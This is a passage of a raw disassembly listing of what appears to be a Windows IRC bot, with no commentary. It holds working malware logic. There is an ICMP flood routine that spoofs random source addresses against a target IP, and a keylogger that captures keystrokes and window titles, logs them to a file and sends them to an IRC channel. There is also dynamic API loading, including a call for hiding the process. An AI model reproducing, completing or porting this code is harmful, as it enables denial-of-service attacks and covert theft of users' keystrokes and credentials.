		lea	eax, [ebp+var_8F0]
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		push	[ebp+var_6F0]
		call	sub_405D20
		add	esp, 14h


loc_405964:				; CODE XREF: sub_405549+3F6j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_401ECD
		pop	ecx
		push	ebx
		call	dword_43A4B0	; closesocket
		push	[ebp+var_358]
		call	sub_41397A
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_405549	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40598C	proc near		; DATA XREF: sub_409806+300Eo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	0FFh
		xor	esi, esi
		push	3
		inc	esi
		push	2
		mov	[eax+19Ch], esi
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4059F3
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		xor	esi, esi


loc_4059E5:				; CODE XREF: sub_40598C+9Cj
					; sub_40598C+C3j
		cmp	[ebp+var_24], esi
		jnz	loc_405C47
		jmp	loc_405C27
; ---------------------------------------------------------------------------


loc_4059F3:				; CODE XREF: sub_40598C+3Aj
		push	4
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	[ebp+var_C], esi
		push	2
		xor	esi, esi
		push	esi
		push	eax
		call	dword_43A3B8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A2A
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_4059E5
; ---------------------------------------------------------------------------


loc_405A2A:				; CODE XREF: sub_40598C+7Fj
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A414	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A51
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_4059E5
; ---------------------------------------------------------------------------


loc_405A51:				; CODE XREF: sub_40598C+AEj
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		push	esi
		mov	[ebp+var_1C], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A414	; inet_addr
		mov	ebx, dword_42201C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], esi
		call	ebx	; GetTickCount
		mov	[ebp+var_8], eax
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_405BDF
		mov	esi, 100h


loc_405AA5:				; CODE XREF: sub_40598C+24Bj
		push	41Ch
		mov	byte_439EE8, 45h
		call	dword_43A4F4	; ntohs
		mov	word_439EEA, ax
		xor	eax, eax
		cmp	[ebp+var_2C], eax
		mov	word_439EEC, 1
		mov	word_439EEE, ax
		mov	byte_439EF0, 80h
		mov	byte_439EF1, 1
		mov	word_439EF2, ax
		jz	short loc_405B14
		call	sub_41699A
		mov	edi, eax
		shl	edi, 8
		call	sub_41699A
		add	edi, eax
		shl	edi, 8
		call	sub_41699A
		add	edi, eax
		shl	edi, 8
		call	sub_41699A
		add	edi, eax
		mov	dword_439EF4, edi
		jmp	short loc_405B2C
; ---------------------------------------------------------------------------


loc_405B14:				; CODE XREF: sub_40598C+159j
		push	[ebp+var_1BC]
		call	sub_408852
		pop	ecx
		push	eax
		call	dword_43A414	; inet_addr
		mov	dword_439EF4, eax


loc_405B2C:				; CODE XREF: sub_40598C+186j
		mov	eax, [ebp+var_18]
		mov	dword_439EF8, eax
		call	sub_41699A
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_439EFC, dl
		call	sub_41699A
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_439EFD, dl
		call	sub_41699A
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		and	word_439EFE, 0
		mov	word_439F02, 1
		inc	edx
		mov	word_439F00, dx
		call	sub_41699A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	10h
		mov	edi, offset dword_439F04
		mov	al, dl
		mov	cl, al
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, esi
		rep stosd
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		push	edi
		push	41Ch
		push	offset byte_439EE8
		push	[ebp+var_4]
		call	dword_43A36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_405C64
		inc	[ebp+arg_0]
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_405AA5
		xor	esi, esi


loc_405BDF:				; CODE XREF: sub_40598C+10Ej
		push	[ebp+var_4]
		call	dword_43A4B0	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to	IP: %s.	S"...
		push	eax
		call	sub_416905
		add	esp, 1Ch
		cmp	[ebp+var_24], esi
		jnz	short loc_405C47


loc_405C27:				; CODE XREF: sub_40598C+62j
		push	esi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_405D20
		add	esp, 14h


loc_405C47:				; CODE XREF: sub_40598C+5Cj
					; sub_40598C+299j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401ECD
		push	[ebp+var_38]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi


loc_405C5E:				; CODE XREF: sub_40598C+347j
		call	dword_422010	; ExitThread


loc_405C64:				; CODE XREF: sub_40598C+231j
		push	[ebp+var_4]
		call	dword_43A4B0	; closesocket
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		push	offset aIcmpErrorSendi ; "[ICMP]: Error	sending	packets	to IP: %s"...
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_405CBC
		push	edi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_405D20
		add	esp, 14h


loc_405CBC:				; CODE XREF: sub_40598C+30Ej
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401ECD
		push	[ebp+var_38]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	edi
		jmp	short loc_405C5E
sub_40598C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CD5	proc near		; CODE XREF: sub_40942B+40p
					; sub_409806+1B8p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_416BB4
		lea	eax, [ebp+var_200]
		add	esp, 10h
		lea	edx, [eax+1]


loc_405D02:				; CODE XREF: sub_405CD5+32j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405D02
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		leave
		retn
sub_405CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D20	proc near		; CODE XREF: start+B2p	sub_4010CA+61p	...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_405D3B
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_405D3B:				; CODE XREF: sub_405D20+14j
		mov	eax, edi
		lea	edx, [eax+1]


loc_405D40:				; CODE XREF: sub_405D20+25j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405D40
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_405D51:				; CODE XREF: sub_405D20+36j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405D51
		push	[ebp+arg_8]
		sub	eax, ecx
		mov	ecx, 1FAh
		sub	ecx, eax
		push	offset aS_3	; "%s"
		sub	ecx, esi
		push	ecx
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_416905
		add	esp, 24h
		lea	eax, [ebp+var_200]
		pop	edi
		lea	ecx, [eax+1]
		pop	esi


loc_405DA2:				; CODE XREF: sub_405D20+87j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405DA2
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		cmp	[ebp+arg_10], 0
		jz	short locret_405DCF
		push	0FAh
		call	dword_422000	; Sleep

locret_405DCF:				; CODE XREF: sub_405D20+A2j
		leave
		retn
sub_405D20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DD1	proc near		; CODE XREF: sub_405ED4+B0p
					; sub_405ED4+24Bp

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_422028	; GetLocalTime
		push	104h
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_422048	; GetSystemDirectoryA
		lea	edi, [ebp+var_114]
		dec	edi


loc_405DFF:				; CODE XREF: sub_405DD1+34j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_405DFF
		mov	esi, offset asc_423B68 ; "\\"
		mov	eax, offset dword_42FD58
		movsw
		mov	edx, eax


loc_405E15:				; CODE XREF: sub_405DD1+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405E15
		lea	edi, [ebp+var_114]
		sub	eax, edx
		dec	edi


loc_405E25:				; CODE XREF: sub_405DD1+5Aj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_405E25
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		lea	eax, [ebp+var_114]
		and	ecx, 3
		push	offset aAb	; "ab"
		push	eax
		rep movsb
		call	sub_41719C
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_405E59
		inc	eax
		jmp	short loc_405ED0
; ---------------------------------------------------------------------------


loc_405E59:				; CODE XREF: sub_405DD1+83j
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417834
		push	esi
		call	sub_416E0D
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_405ECE
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset aKeylogS	; "[KEYLOG]: %s"
		push	200h
		push	eax
		call	sub_416B5D
		push	0
		push	[ebp+arg_8C]
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 24h


loc_405ECE:				; CODE XREF: sub_405DD1+C4j
		xor	eax, eax


loc_405ED0:				; CODE XREF: sub_405DD1+86j
		pop	edi
		pop	esi
		leave
		retn
sub_405DD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_405ED4	proc near		; DATA XREF: sub_409806+1E2Fo

var_8E0		= dword	ptr -8E0h
var_8DC		= byte ptr -8DCh
var_4E0		= byte ptr -4E0h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_4C		= byte ptr -4Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 8E0h
		mov	eax, [ebp+74h+arg_0]
		and	[ebp+74h+var_8E0], 0
		and	[ebp+74h+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+var_E0]
		rep movsd
		mov	dword ptr [eax+90h], 1
		xor	eax, eax
		mov	ecx, 0FFh
		lea	edi, [ebp+74h+var_8DC]
		rep stosd
		call	dword_43A360	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_4C]
		push	ecx
		push	eax
		mov	[ebp+74h+var_8], eax
		call	dword_43A350	; GetWindowTextA
		mov	ebx, 80h


loc_405F2E:				; CODE XREF: sub_405ED4+2E9j
		push	8
		call	dword_422000	; Sleep
		call	dword_43A360	; GetForegroundWindow
		cmp	eax, [ebp+74h+var_8]
		jz	short loc_405FA8
		push	3Ch
		lea	ecx, [ebp+74h+var_4C]
		push	ecx
		push	eax
		mov	[ebp+74h+var_8], eax
		call	dword_43A350	; GetWindowTextA
		lea	eax, [ebp+74h+var_4C]
		push	eax
		lea	eax, [ebp+74h+var_2E0]
		push	eax
		lea	eax, [ebp+74h+var_4E0]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_416905
		sub	esp, 84h
		push	25h
		pop	ecx
		lea	eax, [ebp+74h+var_4E0]
		mov	edi, esp
		lea	esi, [ebp+74h+var_E0]
		push	eax
		rep movsd
		call	sub_405DD1
		add	esp, 98h
		mov	[ebp+74h+var_4], eax
		xor	eax, eax
		mov	ecx, ebx
		lea	edi, [ebp+74h+var_2E0]
		rep stosd
		mov	ecx, ebx
		lea	edi, [ebp+74h+var_4E0]
		rep stosd


loc_405FA8:				; CODE XREF: sub_405ED4+6Bj
		mov	[ebp+74h+arg_0], offset	dword_42E59C


loc_405FAF:				; CODE XREF: sub_405ED4+2DFj
		push	10h
		call	dword_43A4C4	; GetKeyState
		movsx	edi, ax
		mov	eax, [ebp+74h+arg_0]
		mov	esi, [eax-4]
		push	esi
		call	dword_43A340	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_406046
		push	14h
		call	dword_43A4C4	; GetKeyState
		test	ax, ax
		jz	short loc_405FF7
		cmp	edi, 0FFFFFFFFh
		jle	short loc_405FF7
		cmp	esi, 40h
		jle	short loc_405FF7
		cmp	esi, 5Bh
		jge	short loc_405FF7
		mov	[ebp+esi*4+74h+var_8E0], 1
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_405FF7:				; CODE XREF: sub_405ED4+102j
					; sub_405ED4+107j ...
		push	14h
		call	dword_43A4C4	; GetKeyState
		test	ax, ax
		jz	short loc_406022
		test	edi, edi
		jge	short loc_406036
		cmp	esi, 40h
		jle	short loc_406022
		cmp	esi, 5Bh
		jge	short loc_406022
		mov	[ebp+esi*4+74h+var_8E0], 2
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406022:				; CODE XREF: sub_405ED4+12Ej
					; sub_405ED4+137j ...
		test	edi, edi
		jge	short loc_406036
		mov	[ebp+esi*4+74h+var_8E0], 3
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406036:				; CODE XREF: sub_405ED4+132j
					; sub_405ED4+150j
		mov	[ebp+esi*4+74h+var_8E0], 4
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: sub_405ED4+F5j
		lea	eax, [ebp+esi*4+74h+var_8E0]
		mov	edx, [eax]
		test	edx, edx
		jz	loc_4061A8
		and	dword ptr [eax], 0
		cmp	esi, 8
		lea	eax, [ebp+74h+var_2E0]
		jnz	short loc_40607D
		lea	edx, [eax+1]


loc_406068:				; CODE XREF: sub_405ED4+199j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_406068
		sub	eax, edx
		and	[ebp+eax+74h+var_2E1], cl
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_40607D:				; CODE XREF: sub_405ED4+18Fj
		lea	edi, [eax+1]


loc_406080:				; CODE XREF: sub_405ED4+1B1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_406080
		sub	eax, edi
		cmp	eax, 1B9h
		jbe	short loc_4060B5
		call	dword_43A360	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_4C]
		push	ecx
		push	eax
		call	dword_43A350	; GetWindowTextA
		lea	eax, [ebp+74h+var_4C]
		push	eax
		lea	eax, [ebp+74h+var_2E0]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4060FC
; ---------------------------------------------------------------------------


loc_4060B5:				; CODE XREF: sub_405ED4+1BAj
		cmp	esi, 0Dh
		jnz	loc_406145
		lea	eax, [ebp+74h+var_2E0]
		lea	edx, [eax+1]


loc_4060C7:				; CODE XREF: sub_405ED4+1F8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4060C7
		sub	eax, edx
		mov	[ebp+74h+var_C], eax
		jz	loc_4061A8
		call	dword_43A360	; GetForegroundWindow
		push	3Ch
		lea	ecx, [ebp+74h+var_4C]
		push	ecx
		push	eax
		call	dword_43A350	; GetWindowTextA
		lea	eax, [ebp+74h+var_4C]
		push	eax
		lea	eax, [ebp+74h+var_2E0]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4060FC:				; CODE XREF: sub_405ED4+1DFj
		lea	eax, [ebp+74h+var_4E0]
		push	eax
		call	sub_416905
		sub	esp, 84h
		push	25h
		pop	ecx
		lea	eax, [ebp+74h+var_4E0]
		mov	edi, esp
		lea	esi, [ebp+74h+var_E0]
		push	eax
		rep movsd
		call	sub_405DD1
		add	esp, 98h
		mov	[ebp+74h+var_4], eax
		xor	eax, eax
		mov	ecx, ebx
		lea	edi, [ebp+74h+var_2E0]
		rep stosd
		mov	ecx, ebx
		lea	edi, [ebp+74h+var_4E0]
		rep stosd
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_406145:				; CODE XREF: sub_405ED4+1E4j
		cmp	edx, 1
		jz	short loc_406178
		cmp	edx, 3
		jz	short loc_406178
		cmp	edx, 2
		jz	short loc_406159
		cmp	edx, 4
		jnz	short loc_4061A8


loc_406159:				; CODE XREF: sub_405ED4+27Ej
		mov	eax, [ebp+74h+arg_0]
		mov	edx, eax


loc_40615E:				; CODE XREF: sub_405ED4+28Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40615E
		lea	edi, [ebp+74h+var_2E0]
		sub	eax, edx
		dec	edi


loc_40616E:				; CODE XREF: sub_405ED4+2A0j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_40616E
		jmp	short loc_406198
; ---------------------------------------------------------------------------


loc_406178:				; CODE XREF: sub_405ED4+274j
					; sub_405ED4+279j
		mov	eax, [ebp+74h+arg_0]
		add	eax, 7
		mov	edx, eax


loc_406180:				; CODE XREF: sub_405ED4+2B1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_406180
		lea	edi, [ebp+74h+var_2E0]
		sub	eax, edx
		dec	edi


loc_406190:				; CODE XREF: sub_405ED4+2C2j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_406190


loc_406198:				; CODE XREF: sub_405ED4+2A2j
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4061A8:				; CODE XREF: sub_405ED4+11Ej
					; sub_405ED4+149j ...
		add	[ebp+74h+arg_0], 14h
		cmp	[ebp+74h+arg_0], offset	dword_42ECCC
		jl	loc_405FAF
		cmp	[ebp+74h+var_4], 0
		jz	loc_405F2E
		push	[ebp+74h+var_DC]
		call	sub_41397A
		pop	ecx
		push	0
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_405ED4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4061D5	proc near		; CODE XREF: sub_40FAD0+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4220A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_422084
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4062F5
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43A374, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43A38C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43A3EC, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43A344, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43A3B4, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43A398, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43A440, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43A31C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43A3BC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43A3E4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A374, ebx
		mov	dword_43A44C, eax
		jz	short loc_4062D3
		cmp	dword_43A38C, ebx
		jz	short loc_4062D3
		cmp	dword_43A3EC, ebx
		jz	short loc_4062D3
		cmp	dword_43A344, ebx
		jz	short loc_4062D3
		cmp	dword_43A398, ebx
		jz	short loc_4062D3
		cmp	dword_43A440, ebx
		jz	short loc_4062D3
		cmp	dword_43A31C, ebx
		jz	short loc_4062D3
		cmp	dword_43A3BC, ebx
		jz	short loc_4062D3
		cmp	dword_43A3E4, ebx
		jz	short loc_4062D3
		cmp	eax, ebx
		jnz	short loc_4062DD


loc_4062D3:				; CODE XREF: sub_4061D5+B8j
					; sub_4061D5+C0j ...
		mov	dword_43A4F8, 1


loc_4062DD:				; CODE XREF: sub_4061D5+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A4A0, eax
		jz	short loc_40630A
		push	1
		push	ebx
		call	eax
		jmp	short loc_40630A
; ---------------------------------------------------------------------------


loc_4062F5:				; CODE XREF: sub_4061D5+1Dj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A4FC, eax
		mov	dword_43A4F8, 1


loc_40630A:				; CODE XREF: sub_4061D5+117j
					; sub_4061D5+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_422088	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40641F
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43A464, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43A3F8, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43A324, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43A394, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43A33C, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43A4D4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43A320, eax
		call	esi	; GetProcAddress
		cmp	dword_43A464, ebx
		mov	dword_43A43C, eax
		jz	short loc_4063C3
		cmp	dword_43A3F8, ebx
		jz	short loc_4063C3
		cmp	dword_43A324, ebx
		jz	short loc_4063C3
		cmp	dword_43A394, ebx
		jz	short loc_4063C3
		cmp	dword_43A33C, ebx
		jz	short loc_4063C3
		cmp	dword_43A4D4, ebx
		jz	short loc_4063C3
		cmp	dword_43A320, ebx
		jz	short loc_4063C3
		cmp	eax, ebx
		jnz	short loc_4063CD


loc_4063C3:				; CODE XREF: sub_4061D5+1B8j
					; sub_4061D5+1C0j ...
		mov	dword_43A500, 1


loc_4063CD:				; CODE XREF: sub_4061D5+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43A340, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43A4C4, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43A350, eax
		call	esi	; GetProcAddress
		cmp	dword_43A340, ebx
		mov	dword_43A360, eax
		jz	short loc_40642A
		cmp	dword_43A4C4, ebx
		jz	short loc_40642A
		cmp	dword_43A350, ebx
		jz	short loc_40642A
		cmp	eax, ebx
		jnz	short loc_406434
		jmp	short loc_40642A
; ---------------------------------------------------------------------------


loc_40641F:				; CODE XREF: sub_4061D5+144j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A504, eax


loc_40642A:				; CODE XREF: sub_4061D5+232j
					; sub_4061D5+23Aj ...
		mov	dword_43A500, 1


loc_406434:				; CODE XREF: sub_4061D5+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4065CF
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43A4D0, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43A3E8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43A380, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43A358, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43A3DC, eax
		call	esi	; GetProcAddress
		cmp	dword_43A4D0, ebx
		mov	dword_43A480, eax
		jz	short loc_4064BF
		cmp	dword_43A3E8, ebx
		jz	short loc_4064BF
		cmp	dword_43A380, ebx
		jz	short loc_4064BF
		cmp	dword_43A358, ebx
		jz	short loc_4064BF
		cmp	dword_43A3DC, ebx
